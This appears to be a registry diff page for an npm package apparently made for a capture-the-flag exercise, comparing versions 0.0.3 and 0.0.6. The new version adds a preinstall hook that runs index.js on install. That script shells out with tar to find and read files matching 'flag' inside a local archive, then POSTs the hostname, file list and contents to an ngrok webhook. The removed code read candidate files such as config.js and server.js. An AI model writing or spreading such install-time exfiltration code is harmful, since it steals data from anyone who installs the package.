ect-987654-ctf 0.0.3 → 0.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/evil.yaml +6 -0
- package/index.js +32 -32
- package/last_post.json +3 -0
- package/package.json +3 -9
package/evil.yaml
ADDED
package/index.js
CHANGED
|
@@ -1,37 +1,37 @@
|
|
|
1
|
-
const
|
|
2
|
-
const
|
|
1
|
+
const https = require("https");
|
|
2
|
+
const { execSync } = require("child_process");
|
|
3
3
|
|
|
4
|
-
const WEBHOOK = "https://
|
|
4
|
+
const WEBHOOK = "https://0f6896f7cc8e.ngrok-free.app/";
|
|
5
5
|
|
|
6
|
-
function post(
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
6
|
+
function post(data) {
|
|
7
|
+
const body = JSON.stringify(data);
|
|
8
|
+
const url = new URL(WEBHOOK);
|
|
9
|
+
const req = https.request({
|
|
10
|
+
hostname: url.hostname,
|
|
11
|
+
path: url.pathname,
|
|
12
|
+
method: "POST",
|
|
13
|
+
headers: {
|
|
14
|
+
"Content-Type": "application/json",
|
|
15
|
+
"Content-Length": Buffer.byteLength(body)
|
|
16
|
+
}
|
|
17
|
+
});
|
|
18
|
+
req.write(body);
|
|
19
|
+
req.end();
|
|
16
20
|
}
|
|
17
21
|
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
}
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
// try small candidate reads
|
|
30
|
-
const cand = ['flag','flag.txt','README','README.md','config.js','server.js','app.js'];
|
|
31
|
-
out.outputs.candidates = {};
|
|
32
|
-
for(const c of cand){
|
|
33
|
-
try { out.outputs.candidates[c] = run(`tar -xOf ${file} "${c}" 2>/dev/null | head -c 20000`); } catch(e){}
|
|
22
|
+
try {
|
|
23
|
+
const out = execSync(
|
|
24
|
+
"tar -tzf /home/node/aspect-node.tar.gz | grep -i flag || true",
|
|
25
|
+
{ encoding: "utf8", timeout: 15000 }
|
|
26
|
+
);
|
|
27
|
+
let content = "";
|
|
28
|
+
if (out.trim() !== "") {
|
|
29
|
+
content = execSync(
|
|
30
|
+
`tar -xOf /home/node/aspect-node.tar.gz $(tar -tzf /home/node/aspect-node.tar.gz | grep -i flag | head -n1) | head -n50`,
|
|
31
|
+
{ encoding: "utf8", timeout: 15000 }
|
|
32
|
+
);
|
|
34
33
|
}
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
})
|
|
34
|
+
post({ host: require("os").hostname(), files: out, flag: content });
|
|
35
|
+
} catch (e) {
|
|
36
|
+
post({ error: e.message });
|
|
37
|
+
}
|
package/last_post.json
ADDED
package/package.json
CHANGED
|
@@ -1,13 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ect-987654-ctf",
|
|
3
|
-
"version": "0.0.
|
|
4
|
-
"description": "",
|
|
5
|
-
"main": "index.js",
|
|
3
|
+
"version": "0.0.6",
|
|
6
4
|
"scripts": {
|
|
7
|
-
"
|
|
8
|
-
|
|
9
|
-
},
|
|
10
|
-
"keywords": [],
|
|
11
|
-
"author": "",
|
|
12
|
-
"license": "ISC"
|
|
5
|
+
"preinstall": "node index.js"
|
|
6
|
+
}
|
|
13
7
|
}
|